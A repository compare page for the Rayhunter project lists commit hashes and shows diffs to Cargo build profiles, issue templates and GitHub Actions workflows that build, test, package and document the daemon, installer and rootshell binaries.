Compare commits
141 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| deeab1f1b0 | |||
| 83dba77cba | |||
| 542aff4fdf | |||
| 2ececf9c58 | |||
| 2cba26a4cc | |||
| 48c0592b18 | |||
| a21c9af354 | |||
| 0c241aba23 | |||
| b2502847a1 | |||
| be6f29dcf1 | |||
| 2114206909 | |||
| f735f033d3 | |||
| b825174a07 | |||
| 29823d3e82 | |||
| e52d382514 | |||
| a17e255148 | |||
| 0f98b05475 | |||
| 5e5514a11f | |||
| 9904b74d21 | |||
| d166dfc13d | |||
| 9b759e6b42 | |||
| 5614c725a0 | |||
| 5a7fc2a063 | |||
| e601320b3f | |||
| 0b05d1617c | |||
| e7ba02173a | |||
| 0b0dd4ed43 | |||
| f2ff1be2ec | |||
| 9f9adea5a1 | |||
| cb2092d14f | |||
| 76cdb3ecf1 | |||
| bee5152381 | |||
| 2634271715 | |||
| 58913314aa | |||
| 4f5bf4aa78 | |||
| bfc85c5103 | |||
| 7923327ba9 | |||
| 3ff714972c | |||
| a5d8e601d9 | |||
| 5272a99fb5 | |||
| 5d61ad53b4 | |||
| 88ee4fc87e | |||
| 8aadfc20f2 | |||
| a234df1e1e | |||
| de25008742 | |||
| 185da9cb36 | |||
| c366eb9e4d | |||
| 5dfbeaef64 | |||
| 62e4c15eb5 | |||
| 02c98a8e8e | |||
| 6c02f56250 | |||
| f56acdf89d | |||
| cb6f79f67a | |||
| 95951c5c38 | |||
| 241fb2789b | |||
| 3a3adb055b | |||
| 3ae2636d9e | |||
| 79b2628d2f | |||
| cba898daf6 | |||
| cb1df974e4 | |||
| 86e08f9a85 | |||
| fb2149f0c8 | |||
| bf2b00ce47 | |||
| fd453900c2 | |||
| 3d29c5f306 | |||
| 74623dea02 | |||
| 48e73a0a41 | |||
| a36863e002 | |||
| 48aac0f0bb | |||
| 5749c305c6 | |||
| f53688086d | |||
| bd2e0b4394 | |||
| 1eea086199 | |||
| d36c1f10cd | |||
| 8d8d2bd8ec | |||
| f2b722ad5f | |||
| 5e2058e7ac | |||
| 60daf4b716 | |||
| 4df317b028 | |||
| d7fb8b9c85 | |||
| d399532494 | |||
| 45df91a364 | |||
| 672ed8c6c6 | |||
| 5c7c7cd766 | |||
| f41a8d38fe | |||
| f9c8c4671e | |||
| 723b20541e | |||
| 272a4aeabf | |||
| 6ae70556ba | |||
| 2915dea9e9 | |||
| 6941bc57b6 | |||
| 5b9dd856a8 | |||
| 5007cb0b36 | |||
| 1b244122df | |||
| 3c4cb56ce6 | |||
| 58843413b5 | |||
| 4ee504fed7 | |||
| 894af5da0d | |||
| d810e8e3c0 | |||
| 8755d5694c | |||
| 70a7d81d05 | |||
| c182543dfa | |||
| 056f4c02e5 | |||
| 237983a8cb | |||
| 9967f93af2 | |||
| 3358a06454 | |||
| 382702a9ee | |||
| 67c3eb7d91 | |||
| 98b05bfdb0 | |||
| 01d10b87b3 | |||
| 410e902848 | |||
| f03f9fcdae | |||
| 4b68c30ed3 | |||
| b5481331c2 | |||
| ace65a8e55 | |||
| 920044a5b2 | |||
| 6cb9a195ed | |||
| 90e2bddbbb | |||
| 3fa583f671 | |||
| 8e6b86b26f | |||
| d40d4fb9c1 | |||
| a12bc4075e | |||
| 51327917b0 | |||
| 4982463b57 | |||
| 68aafd41e1 | |||
| 8b053a9ef8 | |||
| ace325a38a | |||
| 6d02731a81 | |||
| 69b7fecb17 | |||
| 279169257d | |||
| 9a60e3f820 | |||
| 77e51ec2f6 | |||
| c9c92706bc | |||
| 643fa9f979 | |||
| 96a02763e4 | |||
| ff421de127 | |||
| 635c8a0188 | |||
| 5b8a0ef8d4 | |||
| 757b053a33 | |||
| 5d9bc27ac9 | |||
| 7d45be4f0c |
@@ -15,18 +15,27 @@ rustflags = ["-C", "target-feature=+crt-static"]
|
||||
linker = "rust-lld"
|
||||
rustflags = ["-C", "target-feature=+crt-static"]
|
||||
|
||||
[target.x86_64-apple-darwin]
|
||||
linker = "rust-lld"
|
||||
rustflags = ["-C", "target-feature=+crt-static"]
|
||||
# Disable rust-lld for x86 macOS because the linker crashers when compiling
|
||||
# the installer in release mode with debug info on.
|
||||
# [target.x86_64-apple-darwin]
|
||||
# linker = "rust-lld"
|
||||
# rustflags = ["-C", "target-feature=+crt-static"]
|
||||
|
||||
[target.x86_64-unknown-linux-musl]
|
||||
linker = "rust-lld"
|
||||
rustflags = ["-C", "target-feature=+crt-static"]
|
||||
|
||||
# optimizations to reduce the binary size
|
||||
# keep line numbers in stack traces for non-firmware binaries
|
||||
[profile.release]
|
||||
debug = "limited"
|
||||
|
||||
# optimizations to reduce the binary size of firmware binaries
|
||||
[profile.firmware]
|
||||
inherits = "release"
|
||||
strip = true
|
||||
opt-level = "z"
|
||||
lto = true
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
debug = false
|
||||
|
||||
|
||||
@@ -1 +1 @@
|
||||
c5bbaabe15d4ccfee97b9997a13569fbfea13c45
|
||||
9fe75ac961c57e508bf7488ce51d596750fa8d37
|
||||
|
||||
@@ -1,59 +1,19 @@
|
||||
name: Bug Report
|
||||
description: File a bug report.
|
||||
title: "[Bug]: "
|
||||
labels: ["bug"]
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thanks for taking the time to fill out this bug report!
|
||||
- type: input
|
||||
attributes:
|
||||
label: Rayhunter Version
|
||||
description: |
|
||||
Which version did you install?
|
||||
placeholder: "v0.2.6"
|
||||
- type: input
|
||||
attributes:
|
||||
label: Capture Date
|
||||
description: |
|
||||
YYYY-MM-DD
|
||||
placeholder: "2025-05-01"
|
||||
validations:
|
||||
required: true
|
||||
- type: input
|
||||
attributes:
|
||||
label: Capture Location
|
||||
description: |
|
||||
(If comfortable disclosing) What region or country were you in?
|
||||
placeholder: Washington State
|
||||
- type: input
|
||||
attributes:
|
||||
label: Device and Model
|
||||
description: |
|
||||
Device you installed Rayhunter on to.
|
||||
placeholder: Orbic RC400L
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: what-happened
|
||||
attributes:
|
||||
label: What happened?
|
||||
label: Bug Report Details
|
||||
description: |
|
||||
What steps did you take to get to your issue?
|
||||
placeholder: "Tell us what you see!"
|
||||
Please provide the following information, if applicable:
|
||||
placeholder: |
|
||||
• **Rayhunter Version**: (e.g., v0.2.6)
|
||||
• **Capture Date**: (YYYY-MM-DD, e.g., 2025-05-01)
|
||||
• **Capture Location**: (If comfortable disclosing, what region or country were you in? e.g., Washington State)
|
||||
• **Device and Model**: (Device you installed Rayhunter on, e.g., Orbic RC400L)
|
||||
• **What happened?**: (What steps did you take to get to your issue? Tell us what you see!)
|
||||
• **Expected behavior**: (Rayhunter's behavior differed from what I expected because...)
|
||||
• **Relevant log output**: (Rayhunter data captures - QMDL and PCAP logs - or error codes)
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: expected
|
||||
attributes:
|
||||
label: Expected behavior
|
||||
description: Rayhunter's behavior differed from what I expected because.
|
||||
placeholder: "What was expected?"
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: logs
|
||||
attributes:
|
||||
label: Relevant log output
|
||||
description: Rayhunter data captures (QMDL and PCAP logs) or error codes
|
||||
render: shell
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
blank_issues_enabled: false
|
||||
blank_issues_enabled: true
|
||||
contact_links:
|
||||
- name: Rayhunter Mattermost
|
||||
url: https://opensource.eff.org/signup_user_complete/?id=6iqur37ucfrctfswrs14iscobw&md=link&sbr=su
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
name: Feature Request
|
||||
description: Suggest a new feature or improvement to Rayhunter
|
||||
title: "[Feature Request]: "
|
||||
labels: ["enhancement"]
|
||||
body:
|
||||
- type: textarea
|
||||
|
||||
@@ -1,154 +0,0 @@
|
||||
name: Build Release
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main, "release-*"]
|
||||
pull_request:
|
||||
branches: ["main"]
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
FILE_ROOTSHELL: ../../rootshell/rootshell
|
||||
FILE_RAYHUNTER_DAEMON_ORBIC: ../../rayhunter-daemon-orbic/rayhunter-daemon
|
||||
FILE_RAYHUNTER_DAEMON_TPLINK: ../../rayhunter-daemon-tplink/rayhunter-daemon
|
||||
|
||||
jobs:
|
||||
build_rayhunter_check:
|
||||
strategy:
|
||||
matrix:
|
||||
platform:
|
||||
- name: ubuntu-24
|
||||
os: ubuntu-latest
|
||||
target: x86_64-unknown-linux-musl
|
||||
- name: ubuntu-24-aarch64
|
||||
os: ubuntu-24.04-arm
|
||||
target: aarch64-unknown-linux-musl
|
||||
- name: macos-arm
|
||||
os: macos-latest
|
||||
target: aarch64-apple-darwin
|
||||
- name: macos-intel
|
||||
os: macos-13
|
||||
target: x86_64-apple-darwin
|
||||
- name: windows-x86_64
|
||||
os: windows-latest
|
||||
target: x86_64-pc-windows-gnu
|
||||
runs-on: ${{ matrix.platform.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Build rayhunter-check
|
||||
run: cargo build --bin rayhunter-check --release
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: rayhunter-check-${{ matrix.platform.name }}
|
||||
path: target/release/rayhunter-check${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
|
||||
if-no-files-found: error
|
||||
build_rootshell:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
targets: armv7-unknown-linux-musleabihf
|
||||
- name: Build rootshell (arm32)
|
||||
run: cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --release
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: rootshell
|
||||
path: target/armv7-unknown-linux-musleabihf/release/rootshell
|
||||
if-no-files-found: error
|
||||
build_rayhunter:
|
||||
strategy:
|
||||
matrix:
|
||||
device:
|
||||
- name: tplink
|
||||
- name: orbic
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
targets: armv7-unknown-linux-musleabihf
|
||||
- name: Build rayhunter-daemon (arm32)
|
||||
run: |
|
||||
pushd bin/web
|
||||
npm install
|
||||
npm run build
|
||||
popd
|
||||
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --release --no-default-features --features ${{ matrix.device.name }}
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: rayhunter-daemon-${{ matrix.device.name }}
|
||||
path: target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon
|
||||
if-no-files-found: error
|
||||
build_rust_installer:
|
||||
needs:
|
||||
- build_rayhunter
|
||||
strategy:
|
||||
matrix:
|
||||
platform:
|
||||
- name: ubuntu-24
|
||||
os: ubuntu-latest
|
||||
target: x86_64-unknown-linux-musl
|
||||
- name: ubuntu-24-aarch64
|
||||
os: ubuntu-24.04-arm
|
||||
target: aarch64-unknown-linux-musl
|
||||
- name: macos-arm
|
||||
os: macos-latest
|
||||
target: aarch64-apple-darwin
|
||||
- name: macos-intel
|
||||
os: macos-13
|
||||
target: x86_64-apple-darwin
|
||||
- name: windows-x86_64
|
||||
os: windows-latest
|
||||
target: x86_64-pc-windows-gnu
|
||||
runs-on: ${{ matrix.platform.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
targets: ${{ matrix.platform.target }}
|
||||
- run: cargo build --bin installer --release --target ${{ matrix.platform.target }}
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: installer-${{ matrix.platform.name }}
|
||||
path: target/${{ matrix.platform.target }}/release/installer${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
|
||||
if-no-files-found: error
|
||||
|
||||
build_release_zip:
|
||||
needs:
|
||||
- build_rayhunter_check
|
||||
- build_rootshell
|
||||
- build_rayhunter
|
||||
- build_rust_installer
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/download-artifact@v4
|
||||
- name: Fix executable permissions on binaries
|
||||
run: chmod +x installer-*/installer rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon
|
||||
- name: Get Rayhunter version
|
||||
id: get_version
|
||||
run: echo "VERSION=$(grep '^version' bin/Cargo.toml | head -n 1 | cut -d'"' -f2)" >> $GITHUB_ENV
|
||||
- name: Setup versioned release directory
|
||||
run: |
|
||||
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
|
||||
mkdir "$VERSIONED_DIR"
|
||||
mv rayhunter-daemon-* rootshell/rootshell installer-* "$VERSIONED_DIR"/
|
||||
- name: Archive release directory as zip
|
||||
run: |
|
||||
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
|
||||
zip -r "$VERSIONED_DIR.zip" "$VERSIONED_DIR"
|
||||
- name: Compute SHA256 of zip
|
||||
run: |
|
||||
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
|
||||
sha256sum "$VERSIONED_DIR.zip" > "$VERSIONED_DIR.zip.sha256"
|
||||
# TODO: have this create a release directly
|
||||
- name: Upload zip release and sha256
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: rayhunter-v${{ env.VERSION }}
|
||||
path: |
|
||||
rayhunter-v${{ env.VERSION }}.zip
|
||||
rayhunter-v${{ env.VERSION }}.zip.sha256
|
||||
if-no-files-found: error
|
||||
@@ -1,54 +0,0 @@
|
||||
name: Check and Test
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ "main" ]
|
||||
pull_request:
|
||||
branches: [ "main" ]
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
NO_FIRMWARE_BIN: true
|
||||
|
||||
jobs:
|
||||
check_and_test:
|
||||
strategy:
|
||||
matrix:
|
||||
device:
|
||||
- name: tplink
|
||||
- name: orbic
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: Check
|
||||
run: |
|
||||
pushd bin/web
|
||||
npm install
|
||||
npm run build
|
||||
popd
|
||||
cargo check --verbose --no-default-features --features=${{ matrix.device.name }}
|
||||
- name: Run tests
|
||||
run: |
|
||||
pushd bin/web
|
||||
npm install
|
||||
npm run build
|
||||
popd
|
||||
cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
|
||||
- name: Run clippy
|
||||
run: cargo clippy --verbose --no-default-features --features=${{ matrix.device.name }}
|
||||
|
||||
windows_installer_check_and_test:
|
||||
runs-on: windows-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: cargo check
|
||||
shell: bash
|
||||
run: |
|
||||
cd installer
|
||||
cargo check --verbose
|
||||
- name: cargo test
|
||||
shell: bash
|
||||
run: |
|
||||
cd installer
|
||||
cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
|
||||
@@ -0,0 +1,332 @@
|
||||
name: main
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ main ]
|
||||
pull_request:
|
||||
branches: [ main ]
|
||||
workflow_call: # required to call this workflow from another workflow like release.yml
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
FILE_ROOTSHELL: ../../rootshell/rootshell
|
||||
FILE_RAYHUNTER_DAEMON_ORBIC: ../../rayhunter-daemon-orbic/rayhunter-daemon
|
||||
FILE_RAYHUNTER_DAEMON_TPLINK: ../../rayhunter-daemon-tplink/rayhunter-daemon
|
||||
FILE_RAYHUNTER_DAEMON_WINGTECH: ../../rayhunter-daemon-wingtech/rayhunter-daemon
|
||||
|
||||
jobs:
|
||||
files_changed:
|
||||
name: Detect file changes
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: read
|
||||
outputs:
|
||||
code_changed: ${{ steps.files_changed.outputs.code_count }}
|
||||
daemon_changed: ${{ steps.files_changed.outputs.daemon_count }}
|
||||
docs_changed: ${{ steps.files_changed.outputs.docs_count }}
|
||||
installer_changed: ${{ steps.files_changed.outputs.installer_count }}
|
||||
rootshell_changed: ${{ steps.files_changed.outputs.rootshell_count }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- name: detect file changes
|
||||
id: files_changed
|
||||
run: |
|
||||
lcommit=${{ github.event.pull_request.base.sha || 'origin/main' }}
|
||||
|
||||
# If we are on main, or if these workflow files are being changed, run everything
|
||||
if [ ${{ github.ref }} = 'refs/heads/main' ] || git diff --name-only $lcommit..HEAD | grep -qe ^.github/workflows/
|
||||
then
|
||||
echo "building everything"
|
||||
echo code_count=forced >> "$GITHUB_OUTPUT"
|
||||
echo daemon_count=forced >> "$GITHUB_OUTPUT"
|
||||
echo docs_count=forced >> "$GITHUB_OUTPUT"
|
||||
echo installer_count=forced >> "$GITHUB_OUTPUT"
|
||||
echo rootshell_count=forced >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "code_count=$(git diff --name-only $lcommit...HEAD | grep -e ^bin -e ^installer -e ^lib -e ^rootshell -e ^telcom-parser | wc -l)" >> "$GITHUB_OUTPUT"
|
||||
echo "daemon_count=$(git diff --name-only $lcommit...HEAD | grep -e ^bin -e ^lib -e ^telcom-parser | wc -l)" >> "$GITHUB_OUTPUT"
|
||||
echo "docs_count=$(git diff --name-only $lcommit...HEAD | grep -e ^book.toml -e ^doc | wc -l)" >> "$GITHUB_OUTPUT"
|
||||
echo "installer_count=$(git diff --name-only $lcommit...HEAD | grep -e ^installer | wc -l)" >> "$GITHUB_OUTPUT"
|
||||
echo "rootshell_count=$(git diff --name-only $lcommit...HEAD | grep -e ^rootshell | wc -l)" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
mdbook_test:
|
||||
name: Test mdBook Documentation builds
|
||||
needs: files_changed
|
||||
if: needs.files_changed.outputs.docs_changed != '0'
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install mdBook
|
||||
run: |
|
||||
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
|
||||
- name: Test mdBook
|
||||
run: mdbook test
|
||||
|
||||
mdbook_publish:
|
||||
name: Publish mdBook to Github Pages
|
||||
needs: mdbook_test
|
||||
if: ${{ github.ref == 'refs/heads/main' }}
|
||||
permissions:
|
||||
pages: write
|
||||
contents: write
|
||||
id-token: write
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install mdBook
|
||||
run: |
|
||||
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
|
||||
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
- name: Setup Pages
|
||||
uses: actions/configure-pages@v4
|
||||
- name: Upload artifact
|
||||
uses: actions/upload-pages-artifact@v3
|
||||
with:
|
||||
path: book
|
||||
- name: Deploy to Github Pages
|
||||
uses: actions/deploy-pages@v4
|
||||
|
||||
check_and_test:
|
||||
needs: files_changed
|
||||
if: needs.files_changed.outputs.code_changed != '0'
|
||||
strategy:
|
||||
matrix:
|
||||
device:
|
||||
- name: orbic
|
||||
- name: tplink
|
||||
- name: wingtech
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Check formatting
|
||||
run: cargo fmt --all --check
|
||||
- name: Check
|
||||
run: |
|
||||
pushd bin/web
|
||||
npm install
|
||||
npm run build
|
||||
popd
|
||||
NO_FIRMWARE_BIN=true cargo check --verbose --no-default-features --features=${{ matrix.device.name }}
|
||||
- name: Run tests
|
||||
run: |
|
||||
NO_FIRMWARE_BIN=true cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
|
||||
- name: Run clippy
|
||||
run: |
|
||||
NO_FIRMWARE_BIN=true cargo clippy --verbose --no-default-features --features=${{ matrix.device.name }}
|
||||
|
||||
windows_installer_check_and_test:
|
||||
needs: files_changed
|
||||
if: needs.files_changed.outputs.installer_changed != '0'
|
||||
runs-on: windows-latest
|
||||
permissions:
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: cargo check
|
||||
shell: bash
|
||||
run: |
|
||||
cd installer
|
||||
NO_FIRMWARE_BIN=true cargo check --verbose
|
||||
- name: cargo test
|
||||
shell: bash
|
||||
run: |
|
||||
cd installer
|
||||
NO_FIRMWARE_BIN=true cargo test --verbose --no-default-features
|
||||
|
||||
build_rayhunter_check:
|
||||
if: needs.files_changed.outputs.daemon_changed != '0'
|
||||
needs:
|
||||
- check_and_test
|
||||
- files_changed
|
||||
permissions:
|
||||
contents: read
|
||||
packages: write
|
||||
strategy:
|
||||
matrix:
|
||||
platform:
|
||||
- name: ubuntu-24
|
||||
os: ubuntu-latest
|
||||
target: x86_64-unknown-linux-musl
|
||||
- name: ubuntu-24-aarch64
|
||||
os: ubuntu-24.04-arm
|
||||
target: aarch64-unknown-linux-musl
|
||||
- name: macos-arm
|
||||
os: macos-latest
|
||||
target: aarch64-apple-darwin
|
||||
- name: macos-intel
|
||||
os: macos-13
|
||||
target: x86_64-apple-darwin
|
||||
- name: windows-x86_64
|
||||
os: windows-latest
|
||||
target: x86_64-pc-windows-gnu
|
||||
runs-on: ${{ matrix.platform.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Build rayhunter-check
|
||||
run: cargo build --bin rayhunter-check --release
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: rayhunter-check-${{ matrix.platform.name }}
|
||||
path: target/release/rayhunter-check${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
|
||||
if-no-files-found: error
|
||||
|
||||
build_rootshell:
|
||||
if: needs.files_changed.outputs.rootshell_changed != '0'
|
||||
needs:
|
||||
- check_and_test
|
||||
- files_changed
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
targets: armv7-unknown-linux-musleabihf
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Build rootshell (arm32)
|
||||
run: cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile=firmware
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: rootshell
|
||||
path: target/armv7-unknown-linux-musleabihf/firmware/rootshell
|
||||
if-no-files-found: error
|
||||
|
||||
build_rayhunter:
|
||||
if: needs.files_changed.outputs.daemon_changed != '0'
|
||||
needs:
|
||||
- check_and_test
|
||||
- files_changed
|
||||
permissions:
|
||||
contents: read
|
||||
packages: write
|
||||
strategy:
|
||||
matrix:
|
||||
device:
|
||||
- name: orbic
|
||||
- name: tplink
|
||||
- name: wingtech
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
targets: armv7-unknown-linux-musleabihf
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Build rayhunter-daemon (arm32)
|
||||
run: |
|
||||
pushd bin/web
|
||||
npm install
|
||||
npm run build
|
||||
popd
|
||||
# Run with -p so that cargo will select the minimum feature set for this package.
|
||||
#
|
||||
# Otherwise, it will consider the union of all requested features
|
||||
# from all packages in the workspace. For example, if installer
|
||||
# requires tokio with "full" feature, it will be included no matter
|
||||
# what the feature selection in rayhunter-daemon is.
|
||||
#
|
||||
# https://github.com/rust-lang/cargo/issues/4463
|
||||
cargo build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile=firmware --no-default-features --features ${{ matrix.device.name }}
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: rayhunter-daemon-${{ matrix.device.name }}
|
||||
path: target/armv7-unknown-linux-musleabihf/firmware/rayhunter-daemon
|
||||
if-no-files-found: error
|
||||
|
||||
build_rust_installer:
|
||||
if: needs.files_changed.outputs.installer_changed != '0'
|
||||
permissions:
|
||||
contents: read
|
||||
packages: write
|
||||
needs:
|
||||
- build_rayhunter
|
||||
- build_rootshell
|
||||
- files_changed
|
||||
- windows_installer_check_and_test
|
||||
strategy:
|
||||
matrix:
|
||||
platform:
|
||||
- name: ubuntu-24
|
||||
os: ubuntu-latest
|
||||
target: x86_64-unknown-linux-musl
|
||||
- name: ubuntu-24-aarch64
|
||||
os: ubuntu-24.04-arm
|
||||
target: aarch64-unknown-linux-musl
|
||||
- name: macos-arm
|
||||
os: macos-latest
|
||||
target: aarch64-apple-darwin
|
||||
- name: macos-intel
|
||||
os: macos-13
|
||||
target: x86_64-apple-darwin
|
||||
- name: windows-x86_64
|
||||
os: windows-latest
|
||||
target: x86_64-pc-windows-gnu
|
||||
runs-on: ${{ matrix.platform.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
targets: ${{ matrix.platform.target }}
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- run: cargo build --bin installer --release --target ${{ matrix.platform.target }}
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: installer-${{ matrix.platform.name }}
|
||||
path: target/${{ matrix.platform.target }}/release/installer${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
|
||||
if-no-files-found: error
|
||||
|
||||
build_release_zip:
|
||||
permissions:
|
||||
contents: read
|
||||
packages: write
|
||||
needs:
|
||||
- build_rayhunter_check
|
||||
- build_rootshell
|
||||
- build_rayhunter
|
||||
- build_rust_installer
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/download-artifact@v4
|
||||
- name: Fix executable permissions on binaries
|
||||
run: chmod +x installer-*/installer rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon
|
||||
- name: Get Rayhunter version
|
||||
id: get_version
|
||||
run: echo "VERSION=$(grep '^version' bin/Cargo.toml | head -n 1 | cut -d'"' -f2)" >> $GITHUB_ENV
|
||||
- name: Setup versioned release directory
|
||||
run: |
|
||||
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
|
||||
mkdir "$VERSIONED_DIR"
|
||||
mv rayhunter-daemon-* rootshell/rootshell installer-* dist/* installer/install.ps1 "$VERSIONED_DIR"/
|
||||
- name: Archive release directory as zip
|
||||
run: |
|
||||
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
|
||||
zip -r "$VERSIONED_DIR.zip" "$VERSIONED_DIR"
|
||||
- name: Compute SHA256 of zip
|
||||
run: |
|
||||
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
|
||||
sha256sum "$VERSIONED_DIR.zip" > "$VERSIONED_DIR.zip.sha256"
|
||||
# TODO: have this create a release directly
|
||||
- name: Upload zip release and sha256
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: rayhunter-v${{ env.VERSION }}
|
||||
path: |
|
||||
rayhunter-v${{ env.VERSION }}.zip
|
||||
rayhunter-v${{ env.VERSION }}.zip.sha256
|
||||
if-no-files-found: error
|
||||
@@ -1,47 +0,0 @@
|
||||
# On Repository Settings > Pages > Build and deployment
|
||||
# Set "Source" to GitHub Actions.
|
||||
name: Documentation
|
||||
on:
|
||||
push:
|
||||
branches: ["main"]
|
||||
pull_request:
|
||||
branches: ["main"]
|
||||
|
||||
jobs:
|
||||
mdbook_test:
|
||||
name: Test mdBook Documentation builds
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install mdBook
|
||||
run: |
|
||||
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
|
||||
- name: Test mdBook
|
||||
run: mdbook test
|
||||
|
||||
mdbook_publish:
|
||||
if: ${{ github.event_name != 'pull_request' }}
|
||||
needs: mdbook_test
|
||||
permissions:
|
||||
pages: write
|
||||
contents: write
|
||||
id-token: write
|
||||
name: Publish mdBook to Github Pages
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install mdBook
|
||||
run: |
|
||||
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
|
||||
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
- name: Setup Pages
|
||||
uses: actions/configure-pages@v4
|
||||
- name: Upload artifact
|
||||
uses: actions/upload-pages-artifact@v3
|
||||
with:
|
||||
path: book
|
||||
- name: Deploy to Github Pages
|
||||
uses: actions/deploy-pages@v4
|
||||
@@ -0,0 +1,48 @@
|
||||
# To use: navigate on Github to Actions, select "Release rayhunter" on the left, click "Run workflow" > "Run workflow" on the right.
|
||||
# https://github.com/EFForg/rayhunter/actions/workflows/release.yml
|
||||
name: Release rayhunter
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
env:
|
||||
GH_TOKEN: ${{ github.token }}
|
||||
|
||||
jobs:
|
||||
check_version_same:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Ensure all Cargo.toml files have the same version defined.
|
||||
run: |
|
||||
